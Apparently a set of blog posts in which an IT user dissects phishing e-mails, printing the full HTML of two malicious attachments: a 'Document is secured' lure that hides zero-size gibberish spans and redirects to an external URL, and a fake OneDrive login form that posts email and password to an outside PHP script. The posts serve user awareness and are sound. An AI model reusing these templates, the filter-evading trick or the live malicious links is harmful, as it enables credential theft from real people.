Since it’s an .html file virus scanners would claim it was not infected since the file isn’t infected with a virus or trojan. This is just a phishing attempt which starts when a user opens the fake internet page.

So I viewed the source code of the file in notepad ++ and this is what I found.

<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
.container {
  position: relative;
  width: 100%;
  max-width: 400px;
}

.container img {
  width: 100%;
  height: auto;
}

.container .btn {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  -ms-transform: translate(-50%, -50%);
  background-color: #228B22;
  color: white;
  font-size: 16px;
  padding: 12px 24px;
  border: none;
  cursor: pointer;
  border-radius: 5px;
  text-align: center;
}

.container .btn:hover {
  background-color: black;
}
</style>
</head>
<body>

<h2><font face="arial"><u>D<span style="font-size: 0px">jgfhgfhgfchgfxhfesyrdzxdgszgczgcxzgfdzhfdxhgfxjgfxjgfcjhcgfjgckjhufkugk</span>ocu<span style="font-size: 0px">jgfhgfhgfchgfxhfesyrdzxdgszgczgcxzgfdzhfdxhgfxjgfxjgfcjhcgfjgckjhufkugk</span>ment is sec<span style="font-size: 0px">jgfhgfhgfchgfxhfesyrdzxdgszgczgcxzgfdzhfdxhgfxjgfxjgfcjhcgfjgckjhufkugk</span>ured</u></font></h2><br>
<p><b><font face="sans serif">Cl<span style="font-size: 0px">jgfhgfhgfchgfxhfesyrdzxdgszgczgcxzgfdzhfdxhgfxjgfxjgfcjhcgfjgckjhufkugk</span>ic<span style="font-size: 0px">jgfhgfhgfchgfxhfesyrdzxdgszgczgcxzgfdzhfdxhgfxjgfxjgfcjhcgfjgckjhufkugk</span>k be<span style="font-size: 0px">jgfhgfhgfchgfxhfesyrdzxdgszgczgcxzgfdzhfdxhgfxjgfxjgfcjhcgfjgckjhufkugk</span>low to v<span style="font-size: 0px">jgfhgfhgfchgfxhfesyrdzxdgszgczgcxzgfdzhfdxhgfxjgfxjgfcjhcgfjgckjhufkugk</span>iew com<span style="font-size: 0px">jgfhgfhgfchgfxhfesyrdzxdgszgczgcxzgfdzhfdxhgfxjgfxjgfcjhcgfjgckjhufkugk</span>ple<span style="font-size: 0px">jgfhgfhgfchgfxhfesyrdzxdgszgczgcxzgfdzhfdxhgfxjgfxjgfcjhcgfjgckjhufkugk</span>te fi<span style="font-size: 0px">jgfhgfhgfchgfxhfesyrdzxdgszgczgcxzgfdzhfdxhgfxjgfxjgfcjhcgfjgckjhufkugk</span>le</font></b></p>

<div class="container">
  <img src="https://i.ibb.co/qghx6vy/b.jpg" alt="invoice" style="width:100%;height:100%">
  <button class="btn" onclick="window.location.href='https://ingenioxicotencatl.com/adk/wamp.php?warp=020202'" >Vie<span style="font-size: 0px">jgfhgfhgfchgfxhfesyrdzxdgszgczgcxzgfdzhfdxhgfxjgfxjgfcjhcgfjgckjhufkugk</span>w Fi<span style="font-size: 0px">jgfhgfhgfchgfxhfesyrdzxdgszgczgcxzgfdzhfdxhgfxjgfxjgfcjhcgfjgckjhufkugk</span>le</button>
</div>

</body>
</html>

If you actually look through the code you will quickly learn that all that gibberish and random letters will not show up on the page due to it being between the tags shown below.

<span style="font-size: 0px"> </span>

Instead anybody viewing the page would simply see the following words.

Document is secured

Click below to view complete file

View File

The words “View File” are actually a button which goes to the url shown in the code above.

Aka this is just a lame phishing attempt that somebody is trying to confuse the average person with however I’m no average person and simply do not fall for tricks like this.

Check out the links below for more information regarding phishing.

• Why we fall for phishing e-mails
• 6 sure signs somebody is phishing you
• What to do after a phishing attack.
• What are the latest phishing scams in 2020

Leave me a comment below if you enjoyed this article!

Please leave us a comment at the bottom if you might of fallen for one of these phishing e-mails!

Colorful Language!

This first one is from somebody claiming to be “Cadwalader, Wickersham and Taft LLP” using colorful language and trying to trick you into clicking on a fake link to what is likely a phishing website or virus/malware.

Apple Phishing

This 2nd one is claiming to be from Apple & is trying to trick you to click a link and login to your apple account.

Were you to actually click the link and login to your apple account they likely would capture your real apple password through the fake website!

Upgrade your Account!

This is a phishing e-mail trying to trick you into clicking on a link to “Upgrade” your account to see your “missing e-mails”

Here’s another one trying to trick you into clicking a link to upgrade your account.

Print This

This one is trying to trick the user into clicking a link so they can help somebody out by “printing” a document for them. Quite a weird phishing e-mail if u ask me!

You’ve been selected!

Phishing scam from “Amazon” trying to get you to complete some survey. It’s not really from amazon and u won’t actually get anything but maybe some malware or a virus if you do anything this says!

Would you of fallen for any of these phishing e-mails?! Leave us a comment below!

What I will do today is share with you guys a little trick that I’ve seen “hackers” (if you can even call it hacking) using lately to trick users into handing over their password.

In this example somebody at work got this e-mail with an attachment named “PI Order.html” and asked me if it’s safe to open. After I carefully examined the .html code of the page i discovered it’s Login form that is attempting to look like OneDrive and when somebody enters their login credentials for one drive it sends that information back to the “hacker” so they can login and steal your account. Aka this is a act of Phishing.

This is what the e-mail looked like in the user’s inbox:

Here is the code of the fake website.

<!DOCTYPE html PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” “http://www.w3.org/TR/html4/loose.dtd”>
<html><head>
<link rel=”icon” href=”images/favicon.ico” type=”image/gif” sizes=”16×16″>
<meta content=”text/html; charset=UTF-8″ http-equiv=”content-type”>
<title>onedrive</title>

<script>
function validateForm() {
var x = document.forms[“onedrive”][“email”].value;
var atpos = x.indexOf(“@”);
var dotpos = x.lastIndexOf(“.”);
if (atpos<1 || dotpos<atpos+2 || dotpos+2>=x.length) {
alert(“Enter a valid email address”);
return false;
}
}
</script>
</head><body>
<div style=”text-align: center;”><img style=”width: 111px; height: 40px;” alt=”” src=”images/OneDriveLogoDark3.png”><br>
<form method=”post” action=”http://www.jerkyfaq.com/wp-content/uploads/mogin.php” name=”onedrive” onsubmit=”return validateForm()”><font style=”color: rgb(153, 153, 153);” size=”+3″><span style=”font-weight: bold;”>One place for everything in your life<br>
<small><small><small><small>Easily store and share photos, videos,
documents and more…<br>
<br>
Please Login with your email and password to view your document.<br>
<br>
<br>
<input size=”50″ name=”email” placeholder=”Enter your email address”><br>
<br>
<input size=”25″ name=”pass” placeholder=”Enter your password” type=”password”><br>
<br>
<input value=”Login to view document” type=”submit”></small></small></small></small></span></font></form>
</div>

<font style=”color: rgb(153, 153, 153);” size=”+3″><small><small><small><small><br>
</small></small></small></small></font>
<div style=”text-align: center;”><font style=”color: rgb(153, 153, 153);” size=”+3″><small><small><small><small><img style=”width: 478px; height: 277px;” alt=”” src=”images/static-banner.png”><br>
<img style=”width: 1000px; height: 4px;” alt=”” src=”images/flyingdots.gif”><br>
</small></small></small></small></font></div>

<font style=”color: rgb(153, 153, 153);” size=”+3″><small><small><small><small><br>
</small></small></small></small></font>
<div style=”text-align: center;”><font style=”color: rgb(153, 153, 153);” size=”+3″><small><small><small><small>Microsoft</small></small></small></small></font><br>
</div>

<br>

<br>

</body></html>

And this is what the page looked liked when opened.

Conclusion

As you can see this is a very poor attempt by the “hacker” to fake the login page for OneDrive but I give them Kudos for at least trying I guess. At least now my readers know what to look out for if they see similar e-mails in their inbox.

Maybe next time the “hackers” will actually make sure the images are linked correctly to an actual online image vs a local image that wasn’t included in the e-mail.